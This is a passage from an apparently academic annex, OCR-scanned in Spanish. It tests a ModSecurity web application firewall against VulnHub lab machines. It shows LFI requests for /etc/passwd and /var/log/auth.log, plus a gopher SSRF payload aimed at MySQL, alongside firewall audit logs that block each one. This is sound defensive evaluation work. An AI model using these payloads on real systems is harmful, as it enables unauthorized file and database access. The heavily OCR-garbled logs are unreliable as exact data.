Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-10-18 15:10:39

A08:2021 — Fallas en el software y en la integridad de los datos

Para este apartado se replica la explotacion del servidor vulnerable “LEEROY:1” de la

plataforma VulnHub.

Los pasos a seguir son:

148



1. Integrar el proxy inverso en el laboratorio de pruebas modificando el archivo
/etc/modsecurity.d/setup_proxy.conf del contenedor con la implementacion del
WAF para que resuelva la IP 192.168.10.17 y el alias del servidor vulnerable
“LEEROY:1” (ver Figura E.30).

Figura E.29

Log de auditoria registrado por ModSecurity

{"transaction”:{"time" :"18-0ct-2823:19:10:37.650163 +8088", "transaction_id" : "ZTAtrluHKkYR 78BDg58Dgn|
AREC", "remote_address™:"192.168.18.158", "remote_port' 147878, " local_addres '172.17.8.2", "1ocal _port|
'':803, "request™: {"request_line" :"CONNECT 192.168.18.6:88 HTTP-1.8","headers™:{"Host":
B3}, "response”: {"protocol” : "HTTP-1.1","status" :483, "headers”: {"Content -Length":"199",
close”, "Content-Type™: "text-html; charset=iso-8859-1"}, " "body™:"<tDOCTYPE HTML PUBLIC \"-/~IETF./~DTD
THML 2.8//ENs">\n<html><head>\n<title>483 Forbidden<-title>wn<shead><body>sn<hi>Forbidden< h1>n<p>
ou don’t have permission to access this resource. < /p>\n< body>< html>\n"},"audit_data":{"messages":[
"fAccess denied with code 483 (phase 2). Match of N"within »{tx.allowed_methods3\" against “"REQUEST
METHODN" required. [file \"setcrmodsecurity.d- owasp-crs/rules/REQUEST-911-HMETHOD-ENFORCEMENT.conf\"1
[line N\"445"1 [id \"911188%"1 [msgy “"Method is not allowed by policy\"1 [data “"CONNECT\"1 [severit
y SN'CRITICALN"] [wer SN"OWASP_CRS-3.3.5\"1 [tag \application-multis"l [tag S"language-multis"l [tag
N'platform-multin"] [tag s“attack-generich"]1 [tag \'paranocia-level 18"1 [tag “"DWASP_CRS\"1 [tag \'c
apec/1808,218/272/228,274N"1 [tag N"PCL-12.1N"1"]1, "error_messages' :["[file N\"apacheZ_util.c\"1 [line
2751 [level 31 [client 192.168.18.158]1 ModSecurity: Access denied with code 483 (phase 2). Match of
N"within #{tx.allowed_methods\" against “"REQUEST METHODN" required. [file \"setcomodsecurity.d-o
asp-crs/rules/REQUEST-911-METHOD-ENFORCEMENT .confs"1 [line ~"445\"1 [id ~"911188%"1 [msy “"Method is
nmot allowed by policys"1 [data N\"CONNECTN"]1 [severity S"CRITICALN"]1 [wer SN"OWASP_CRS-3.3.5\"1 [tag
"application-multin"] [tag “\"language-multin"]l [tag “\"platform-multizn"] [tag \“attack-generic\"1 [ta]
g N'paranoia-levels1n"1 [tag SN"OWASP_CRSN"]1 [tag N\'"capecs/18808-218/272,228,274N"]1 [tag N\"PCL-12.1N"1
[hostname %"192.168.10.65"1 [uri \"/\"1 [unigque_id N\"ZTAtrkuHKkYB178BDg58DgAAAECS"1"]1, "action" : {"int]
ercepted” :true, "phase”:2, "message” : "Match of \"within x{tx.allowed_methods}\" against “\"REQUEST_METH
0D\" required.”},"handler":"proxy-server", "stopwatch":{"p1":18581,"p2" : 1947, "p3" :@, "p4" :8, "p5" : 1584,
"sr':473,"sw'":@,"1":@,"gc" :8%, "response_body_dechunked" :true, "producer" : ["ModSecurity for Apache,2.9
.7 (http: - waw.modsecurity.org.s)"”, "OWASP_CRS,3.3.5"1, "server™: "Apache”, "eng ine_mode" : "ENABLED "} }

Figura E.30
Integracion del proxy inverso en el laboratorio editando el archivo setup_proxy.conf
con la IP y alias del servidor vulnerable “LEEROY:1"

Archive Maquina Ver Entrada Dispositivos Ayuda

GHU mano 7.2 setc/modsecurity.d-setup_proxy.conf

<UirtualHost =:88>

ServerMame leeroy.htb

ProxyPreserveHost On

ProxyPass ~

ProxyPassReverse ~
<sVirtualHost>

2. En la maquina cliente (S.O. Kali Linux) editar el archivo /etc/hosts para quitar la
resolucion del alias del servidor “leeroy.htb” ya que el mismo va a ser resuelto por
el proxy inverso implementado (ver Figura E.31).

3. En el navegador del cliente configurar el proxy inverso con la direccion IP de la
maquina virtual que tiene desplegada la solucibn WAF como contenedor (ver
Figura E.32).
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Figura E.31

Edicién del archivo /etc/hosts para quitar la resolucion del alias del servidor

File Actions Edit View Help

[1/1] /etc/hosts *

oyl localhost

cali
localhost ip6-localhost ip6-Lloopback
ip6-allnodes

ip6-allrouters
Ter .

Figura E.32
Configuracion del proxy inverso en el navegador del cliente

Connection Settings

Use system proxy settings

@Manual proxy configuration

HTTP Proxy | 192.168.

4. Replicar los pasos del 1 al 7 detallados en el Anexo A, subseccion A08:2021 —
Fallas en el software y en la integridad de los datos, desde el reconocimiento hasta
la identificacion de plugins para la aplicacion http://leeroy.htb:13380.

5. Se vuelve a ejecutar el ataque del tipo Local File Inclusion para el plugin spritz
pasando el trafico por proxychains. Mediante el comando proxychains curl -s -X
GET "http://leeroy.htb:13380/wp-content/plugins/wp-with-spritz/wp.spritz.content.
filter.php?url=/../../../../letc/passwd" | grep "sh$" se intenta enumera los usuarios

del sistema en el servidor activando el bloqueo del WAF (ver Figura E.33).

Figura E.33
Bloqueo del WAF a la enumeracion de usuarios por ataque tipo LFI en plugin spritz

chains.conf

ns] preloadin nux-gnu/libproxychains.so.4
ns] DLL init: p
chains] Strict chain

6. En la Figura E.34 se presenta el log de auditoria registrado por ModSecurity
después de activado el bloqueo a la peticion hecha en el paso 5. Del log de auditoria

se puede extraer metadatos importantes como:
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e Fechay hora del ataque: 22/0ct/2023:22:33:25

e Direccion IP del atacante: 192.168.10.16

e (Codigo de respuesta HTTP: Access denied with code 403 (phase 2)

e Reglaaplicada: REQUEST-911-METHOD-ENFORCEMENT.conf

e Tiempo de procesamiento en cada fase: p1=1468 us, p2=92 us, p3=0 ps,
p4=0 ps, p5=207 ps, sr=1028 ps, sw=1 us, gc=0 us

Figura E.34
Log de auditoria registrado por ModSecurity

{"transaction”:{"time":"22,0ct 2823:22:33:25.682678 +8868", "transaction_id": "ZTI.-.I_]HngEPBIJI..E(‘SquSqu
ARNQ", "remote_address™:"192.168.10.16", "remote_port":59978, "local _address™:"172.17.8.2","1local _p
1803, r-equest" { request line" :"CONNECT leeroy.htb:13388 HTTP-1.8","headers":{"Host":"leeroy.htb:1
88" 13}, "respomse” : {"protocol” :"HTTP,1.1", "status" :483, "headers’ Cuntent—Length" 199", "Comnection":
"close”,"Content-Type" : "textshtml: charset=iso-8859-1"3}, "body”:"<tDOCTYPE HTML PUBLIC \"-,~IETF./-DTD|
HTML Z.8--EN\">wn<html><head>wn<title>483 Forbidden<-title>\n< head><body>n<hil>Forbidden< hl>\n<p>|
You don’t have permission to access this resource. /p>\n</body>< html>wn"}, "audit_data":{"messages":
["Access denied with code 483 (phase 2). Match of \"within »#{tx.allowed methods\" against “\"REQUES
METHODA" required. [file \“setcsmodsecurity.dsowasp-crs.rules/REQUEST-911-METHOD-ENFORCEMENT . conf\"
1 [line N"44N"1 [id N"911188N"1 [msg \"Method is not allowed by policys"1 [data N"CONNECTN"] [sewveri
ty \"CRITICALN"] [ver S\"OWASP_CRS-3.3.5%"1 [tag “"application-multin"]1 [tag \"language-multisn"] [tag
s"platform-multin"]l [tag \“attack-genmeric\"] [tag “\'paranoia-level 181 [tag \"OWASP_CRS\"1 [tag \"
capec-1088,210,272-228-2745"]1 [tag \"PCI-12.15"1"]1,"error_messages":["[file \"apacheZ_util.c\"1 [lin
e Zv3] [level 31 [client 192.168.18.16]1 ModSecurity: fAccess denied with code 483 (phase 2). Match of
N"within »{tx.allowed_methods¥\" against \"REQUEST METHODN" required. [file \'retcs/modsecurity.d-o
asp-crs.srules/REQUEST-911-HMETHOD-ENFORCEMENT .conf~"1 [line \"448\"1 [id £"911188N"1 [msg \'"Method is
mot allowed by policy\"1 [data N\"CONMNECTN] [severity N'CRITICALN"]1 [wer N"OWASP_CRS-3.3.5M"1 [tag N
"application-multiN"] [tag \"language-multin"]l [tag \"platform-multis"] [tag \"attack-generics"1 [ta
g “''parancia-levels18"]1 [tag S"OWASP_CRS\"1 [tag “\"capec-18688-218/272-220-274\"1 [tag \"FCI-/12.1\"]
[hostname N"leeroy.htbs"1 [uri N"A"Y1 [Lmique_id NETW jNTzy6PI0wSGSqu3BguwinAnds"1"1, "act ion™ : {" inter|
cepted' :true, "phase":2, "message” :"Match of “\"within x{tx.allowed_methods\" against ~\"REQUEST METHOD|
N required. ™Y, "hand ler” 'pruxg—seruer‘","stnpmtch " 92,"p3":@8, "p4":8, "ph" 1 2687, "sr 1 1]
828, "sw'":1,"1":8, "gc" :8}, "response_body_dechunked" :true, "producer": ["ModSecurity for Apaches2.9.7 (h
ttp:/was.modsecurity.orgs)", "OWASP_CRS-3.3.5"1, "server" :"Apache”, "engine_mode" : "ENABLED"'}

A09:2021 — Fallas en el registro y monitoreo

Para este apartado se replica la explotacion del servidor vulnerable “HA:NATRAJ” de

la plataforma VulnHub.
Los pasos a seguir son:

1. Integrar el proxy inverso en el laboratorio de pruebas modificando el archivo
/etc/modsecurity.d/setup_proxy.conf del contenedor con la implementacion del
WAF para que resuelva la IP 192.168.10.13 del servidor vulnerable
“HA:HATRAJ” (ver Figura E.35).
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Figura E.35
Integracion del proxy inverso en el laboratorio editando el archivo setup_proxy.conf
con la IP del servidor vulnerable “HA:NATRAJ”

GNU nano 7.2 ~setcsmodsecurity.dssetup proxy.conf
<UirtualHost =:88>
ServerName waf-utn.com.ec
ProxyPreserveHost On

ProxyPass ~
ProxyFPassReverse ~
< VirtualHost>

2. En el navegador del cliente configurar el proxy inverso con la direccion IP de la
maquina virtual que tiene desplegada la solucion WAF como contenedor (ver
Figura E.36).

Figura E.36
Configuracion del proxy inverso en el navegador del cliente

Connection Settings

() Use system proxy settings

© Manual proxy configuration

HTTP Proxy| 19:

Also use this praxy for HTTPS

3. Replicar los pasos del 1 al 7 detallados en el Anexo A, subseccion A09:2021 —
Fallas en el registro y monitoreo, desde el reconocimiento hasta la verificacion del
parametro file en el archivo http://waf-utn-com.ec/console/file.php.

4. Desde el navegador se apunta a la url http://waf-utn.com.ec/console
[file.php?file=/var/log/auth.log para visualizar los logs de las conexiones ssh en el
ataque tipo Local File Inclusion y Log Poisoning. En la Figura E.37 se puede

observar que la peticion al servidor fue bloqueada por el WAF.

Figura E.37
Bloqueo del WAF al acceso del archivo /var/log/auth.log en el servidor “HA:NATRAJ”

8 A waf-utn.com.ec/cc file.php?file=/va

KaliLinux & KaliTools @ KaliDocs #&{ KaliForums e Kali NetHunter Exploit-DB

Forbidden

You don't have permission to access this resource.

152


http://waf-utn-com.ec/console/file.php
http://waf-utn.com.ec/console/file.php?file=/var/log/auth.log
http://waf-utn.com.ec/console/file.php?file=/var/log/auth.log

5. En la Figura E.38 se presenta el log de auditoria registrado por ModSecurity
después de activado el bloqueo al acceso del archivo /var/log/auth.log ejecutado en
el paso 4. Del log de auditoria se puede extraer metadatos importantes como:

e Fechay hora del ataque: 21/0ct/2023:12:52:43

e Direccion IP del atacante: 192.168.10.150

e (Codigo de respuesta HTTP: Access denied with code 403 (phase 2)

e Regla aplicada: REQUEST-930-APPLICATION-ATTACK-LFI.conf

e Tiempo de procesamiento en cada fase: p1=2865 us, p2=1414 us, p3=0 ps,
p4=0 ps, p5=376 us, sr=1941 ps, sw=1 us, gc=0 us

Figura E.38

Log de auditoria registrado por ModSecurity

{"transaction": {"time":"21/0ct 2023:12:52:43.2428085 +B8BB", "transaction_id": "ZIPJmbZaNY8 jHQzD5PEZ-gh
AAEA", "remote_address™:"192.168.18.158", "remote_port":44842," local_address™:"17Z.17.8.2", " "local_port
883, "request”: {"request_line":"GET http://uaf—utn.cnm.ec/cnnsnle/file.php?file=/uar/lng/auth. log H
TTP,1.1", "headers”: {"Host":"waf —-utn.com.ec"”, "User-Agent™:"Mozillar5.8 (X11; Linux xB6_64; rv:189.8)
Gecko-Z8188181 Firefox 115.8", "Accept”:"text html,applicationsxhtml+xml, appllcatll:m/xml g=8.9, image~
au1f 1mage/uebp,*/* =B.8", "Accept-Language":"en-US,en:q=8.5" "ﬁl::l::ept Em::l:ldl "gzip, deflate","DNT
' ' ", "Upgrade-Insecure-Requests 3}, "response” otocol":"HTTP-1.1",
i 'Content -Length":"199","Keep-Alive meout=5, max=188","Commection":"Keep-
ontent-Type":"text-html; charset=is0-8859-1"%, " "body":"<tDOCTYPE HTHML PUBLIC \"--~IETF--DTD
HTML 2.8./ENv"">\n<html><head>\n<title>483 Forbidden<title>\n< /head><body>\n<hl>Forbidden</h1>\n<p>Y
ou don’t have permission to access this resource. < /p>\n< body></html>wn"},"audit_data":{"messages":[
"Access denied with code 483 (phase Z). Matched phrase \'"varslog-auth.log\” at ARGS:file. [file \"ve
tcsmodsecurity.d-sowasp-crs/rules/REQUEST-938-APPLICATION-ATTACK-LFI.conf\"1 [line N\"985"1 [id \"9381
Z8%"1 [msg \"03 File Access Attempts"]1 [data “"Matched Data: var-lograuth.log found within ARGS:file
: svarslogsauth. logh"1 [severity N"CRITICALN"] [wer “"OWASP_CRS-3.3.5\"1 [tag “\“application-multis"]
[tag N"language-multin"]l [tag N\"platform-multin"1 [tag \"attack-1fisn"]1 [tag \"paranoia-level- 1n"1 [
tag \"OWASP_CRS\"1 [tag “'"capec-1888.-255-153-126%"1 [tag “\"PCI-6.5.45"1"1,"error_messages":["[file
"apacheZ_util.c\"1 [line 2751 [level 31 [client 192.168.18.1581 ModSecurity: Access denied with code
483 (phase 2). Matched phrase \'wvar-lograuth.logh” at ARGS:file. [file \'"setc/modsecurity.d owasp-c
rs.rules/REQUEST-938-AFPPLICATION-ATTACK-LFI.confs\"1 [line 5"98%"1 [id \"93812B\"1 Imsg \"0S File fAcc
ess Attempt\"]1 [data \"Matched Data: var/log-sauth.log found within ARGS:file: ,swarslograuth.loghn"l [
severity N'CRITICALN"] [ver N"OWASP_CRS~3.3.5\"1 [tag N"application-multin"l [tag N'language-multis®
1 [tag \'platform-multisn"] [tag \"attack-1fin"]1 [tag \"paranoia-level-1\"1 [tag “"OWASF_CRS\"1 [tag
\"capec-1888.255-153-1267"1 [tag N\"PCI-6.5.4\"1 [hostname “\"waf-utn.com.ec\"] [uri \N"sconsole-file.p
hp\"1 [unigue_id \"ZIPJmbZaNY8 jHQzDSPEZ-gAAAEAN"]1"], "action”: {"intercepted™:true, "phase':
:"Matched phrase \'"warslog-auth.logh\" at ARGS:file."},"handler": "pr‘uxg server", "stopuwatch":
:1414,"p3":8,"p4™:8, "ps" 376, "sr'" 11941, "sw":1,"1":8, "ge " :8F, "response_body_dechunked " : true, "pr
"ModSecurity for Apacher2.9.7 (http://was.modsecurity.orgs)"," "0WASP_CRS-3.3.5"1, " "server":"A
pache”, "engine_mode" : "ENABLED "}

A10:2021 — Falsificacion de solicitudes del lado del servidor (SSRF)

Para este apartado se replica la explotacion del servidor vulnerable
“HARRYPOTTER:NAGINI” de la plataforma VulnHub.

Los pasos a seguir son:

1. Integrar el proxy inverso en el laboratorio de pruebas modificando el archivo
/etc/modsecurity.d/setup_proxy.conf del contenedor con la implementacion del
WAF para que resuelva la IP 192.168.10.15 del servidor vulnerable
“HARRYPOTTER:NAGINI” (ver Figura E.39).
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Figura E.39
Integracion del proxy inverso en el laboratorio editando el archivo /setup_proxy.conf
con la IP del servidor vulnerable “HARRYPOTTER:NAGINI”

Archivo Maquina Ver Entrada Dispositivos Ayuda

GNU nano 7.2 retcsmodsecurity.d-ssetup_proxy.conf

<VirtualHost =:88>
ServerName waf-utn.com.ec

ProxyPreserveHost On

ProxyPass ~

ProxyPassReverse ~
<sUVirtualHost>

2. En el navegador del cliente configurar el proxy inverso con la direccion IP de la
maquina virtual que tiene desplegada la solucion WAF como contenedor (ver
Figura E.40).

Figura E.40
Configuracion del proxy inverso en el navegador del cliente

Connection Settings

() Use system proxy settings

© Manual proxy configuration

HTTP Proxy| 19

3. Replicar los pasos del 1 al 7 detallados en el Anexo A, subseccion A10:2021 —
Falsificacion de solicitudes del lado del servidor (SSRF), desde el reconocimiento
hasta la generacion de la peticion SSRF a la base de datos del servidor para el
usuario goblin.

4. En la interfaz de la url http://waf-utn.com.ec/internalResourceFeTcher.php se
ingresa la peticion SSRF generada con Gopherus para listar las bases de datos del
servidor “HARRYPOTTER:NAGINI”. En la Figura E.41se puede observar que la
peticion SSRF generada en el servidor fue bloqueada por el WAF.

Figura E.41
Bloqueo del WAF a la peticion SSRF en el servidor “HARRYPOTTER:NAGINI”

» 403 Forbidden x|+

S & waf-utn.com.ec/intern: urceFeTcher.php7url

Kali Linux #& KaliTools +« Kali Docs % Kali Forums o Kali NetHunter Exploit-DB

Forbidden

You don't have permission to access this resource.
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5. En la Figura E.42 se presenta el log de auditoria registrado por ModSecurity
después de activado el bloqueo a la peticion SSRF ejecutada en el paso 4. Del log
de auditoria se puede extraer metadatos importantes como:

e Fechay hora del ataque: 21/0ct/2023:16:47:28

e Direccion IP del atacante: 192.168.10.16

e (Codigo de respuesta HTTP: Access denied with code 403 (phase 2)

e Reglaaplicada: REQUEST-920-PROTOCOL-ENFORCEMENT.conf

e Tiempo de procesamiento en cada fase: p1=1143 ps, p2=301 ps, p3=0 ps,
p4=0 ps, p5=196 us, sr=302 us, sw=1 us, gc=0 us

Figura E.42

Log de auditoria registrado por ModSecurity

{"transaction":{"time":"21/0ct/20823:16:47:28.783974 +BUEA", "transaction_id": "ZTMAoIAeHBUSR-xNeDZzBwh
AABI”, "remote_address":"192.168.16.16", "remote_port":59428,"local_address":"172.17.8.2","local_port"
:88%Y, "request”: {"request_line":"GET http:/~waf-utn.com.ec-internalResourceFeTcher . phpTurl=gopher3ax
ZF«2F127 .8 .8 .123A33862F _»25a5+2588:.2508. 2501 258525a6»25f f «2581:»2580::2588:2580::2501/252 125082508
-+ 2588:.2588::2580:.2588: 25802588« 2588 250822508, 2588:. 2588 . 2588, 2588:.2 580 2588 258022588 2588 250822508
25884256 74256f 425624 256C/ 25609/ 250e 25082508 2064225794257 34257 142560 42551 4 256e 256142574 .2569/2576
25652551 »25708x256 1257325737257 2561 #2572 25642588 2566258 3:255f #2561 257 32585.254C 2569250

#2565.256e125742551 2576250652572 257372569256 /256&/2586/2535/252&/253?/252&/2532/2532/2539/2551‘
£ 2578.256c256142574425664256f ©257 2256442506 2578:.2538:.2536:42551 2536425342580 125784257 2.256f #2567
/25?2/256 1:22564:255f 256e2561 2564250652585 206422579257 3:.257 12256c 2518 25088, 2588 < 25882503+ 2553,

#1.1", "headers” waf -utn.com.ec”,"User-Agent” :"Mozilla-5.8 (X11: Linux xB6_64: rv:189.8) Gec|
ko-Z8188181 F irefnx/115 8", "Accept”: "text html ,application/xhtml+xml,application =ml;q=0.9, image avi
f , image webp,=,=:q=8.8", "Accept-Language' : "en-US,en:q=H.5","A t-Encoding™:"gzip, deflate”,"Refere
r':"http:  uwaf -utn.com.ec,internalResourceFeTcher . php”, "DNT i ive",
Insecur‘e -Requests":"1"}}, "response” : {"protocol” : "HTTP,1.1", "status" 1483, "headers" : {"Cnntent -Length':
"199", "Keep-Alive" :"timeout=5, max=108","Commection":"Keep-Alive", "Content-Type": "text html: charset|
=ig0-8859-1"}, "body" : "<tDOCTYFE HTHML PUBLIC ~\"-,~IETF/-DTD HTHML Z2.8-/EN\">\n<himl><head>wn<title>483
Forbidden</title>\n<{ head><body>n<h1>Forbidden< /h1>n<p>¥You don’t have permission to access this r
esource . {/p>ni{-body>< html>n"}, "audit_data": {"messages":["Access denied with code 483 (phase 2). F
ound 37 bytels) in ARGS:url outside range: 1-255. [file \"setcsmodsecurity.d owasp-crs-rules/-REQUES
-928-PROTOCOL-ENFORCEMENT .conf\"1 [line SN"S51M"1 [id N\"9282785"1 [msg N"Invalid character in request
(null character)\"1 [data SN"ARGS:url=gopher:--127.8.08.1:3386-_S\\xaSs\xBEN BN BN BEN xabssxE £
B 1NSXBBN N <BEN N XBBN N 1 TNNXBENNZBENNBEN N B BN BB BEN N KBBNS BB\ XBEN N BENS XBEN N\ BEN N\ <BEN BB\ BB
xBENN BN <BBY S\ xBENN<BEN N <BEN N BB\ xBBgob 1 inssxBENNxBBmysg 1 _nat ive_password\sxBOf \\xH3_os\\xB5L inux]
“wxBe_client_namessxB81ibmysg INSxB4_pidswxB5Z72555\xBf _client_version\\xB65.7.Z25\\xH9_platform\s\xBbx
86_64\\x<Bcprogram_namessx<B5mysq LNN<18NN\B8N BB\ BB \\xB35HOW databases: \\xB1NN<BENNBEN BB\ B1\" ]
[severity N"CRITICALN"] [wer N"OWASP_CRS-3.3.58"1 [tag “application-multin"]l [tag N\'language-multi
'] [tag S"platform-multis"] [tag ““attack-protocol\"] [tag \“paranoia-levels1N"1 [tag S"OWASP_CRSNY
1 [tag “"capec-1888.,218-272%"1"1, "error_messages":["[file \"apacheZ_util.c\"1 [line Z751 [level 31 [

client 192.168.18.16]1 ModSecurity: Access denied with code 483 (phase £). Found 37 byte(s) in ARGS:u
rl outside range: 1-255. [file “\"vetcsmodsecurity.d-owasp-crs.rules/REQUEST-928-FPROTOCOL-ENFORCEMEN

conf\"1 [line N"S178"1 [id 5"928278N"1 [msg N"Invalid character in request (null character)\"]1 [dat
a “"ARGS :url =gopher : /127 .8 .8 .1 133006/ _NNNSSNNEDNNNSOE BN NSO BN NN TN NNV RETN WY
Rl R R A T L A L R e R e L e e i AR R ARN
R e L R R L e T A R L R L R S L R e A R TR R R EARAY

NAASSSAXBSL i nusSSSSSSSSxBC_c T ient_nameNsSSSSSAXBE 1 bmysg INSSSSSSSKBE P EANSSSSSANSXBDZ7ZE5NNNSNNSxBE
client_versionsSSASASAXBED L7 ZZNNNSSSSABI_platf ormhSs S SIS SSBEBXBE_BENNANNNS B program_names WY
BSmMUST INSNSSNSSXIBNSSSSANSKBBN NSNS NS KBBN NSNS KBEN NSNS KBISHOW  databases : SNWSSWNSAKBIN NSNS xBBN,
NSNS SBEBN NSNS BB S SSNSSAXBINT T [severity NTCRITICALN"1 [ver N"OWASP_CRS-3.3.5%"1 [tag N\“applica
tion-multiN"]l [tag ~"language-multis"l [tag S"platform-multis"] [tag S"attack-protocols"1 [tag \par
anoia-level~ 1N"1 [tag \"ODWASP_CRS\"1 [tag \'capec-1888,218,272%"1 [hostname \"waf-utn. com. ech"1 Luri

N\ interna 1ResourceFeTcher . php\"1 [unigue_id S\"ZT0AoJBeHBWGR-xNelZzBwanABIN"1"1, "action" : {" intercep
ted" :true, "phase”:2, "'message”: "Found 37 byte(s) in ARGS:url outside range: 1-255."3}," }lEll'Id ler" "prl:lxg
-server"”, "Stl:l]]l-.lEltCh" {"pi" 11143, "p2" :381,"p3":8, " "p4":@,"p5":196, "sr": 382, "sw":1,"1":8, "gc" :8}, "respo
nse_body_dechunked” :true, "producer": ["ModSecurity for ApacherZ.9.7 (http:/~was.modsecurity.orgs)","0
L¥iSP_CRS-3.3.5"1, " "server” : "fApache", "engine_mode' : "ENABLED"'}}
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